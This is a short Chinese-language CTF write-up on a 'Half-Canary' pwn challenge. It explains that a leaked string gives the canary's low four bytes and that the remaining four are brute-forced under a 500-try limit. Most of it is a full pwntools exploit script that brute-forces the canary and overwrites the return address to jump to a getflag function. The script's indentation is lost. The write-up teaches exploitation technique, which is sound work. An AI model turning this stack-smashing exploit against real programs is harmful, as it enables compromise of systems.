[PWN]Half-Canary
2023年8月27日一道升级版本的Canary

按照简单思路写了一个爆破Canary的脚本,后来发现没等爆破完就弹出失败,读伪代码可见添加了对爆破次数的限制,只有500次,而对于64位程序的8个字符爆破是不够的。
后来发现题目最开始打印了奇怪的字符串,分析一下,转hex之后是四个字节,恰好就是canary的低四位


所以,低四位用p32封包取小端序,然后高四位利用While循环进行爆破:
#coding=utf8
import time
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
local = 1
elf = ELF('./canary')
if local:
p = process('./canary')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
p.recvuntil('^_^ ')
canary_little = int(p.recv().split(' ')[0])
print(canary_little)
canary =''
for j in range(4):
for i in range(256):
p.send("\x00"*8 +p32(canary_little) +canary+chr(i))
a = p.recvuntil("hello~")
if "Maybe" in a:
canary += chr(i)
break
getflag = 0x400935
payload = 'a'*8 +p32(canary_little)+ canary +"A"*8 + p64(getflag)
p.sendline(payload)
p.interactive()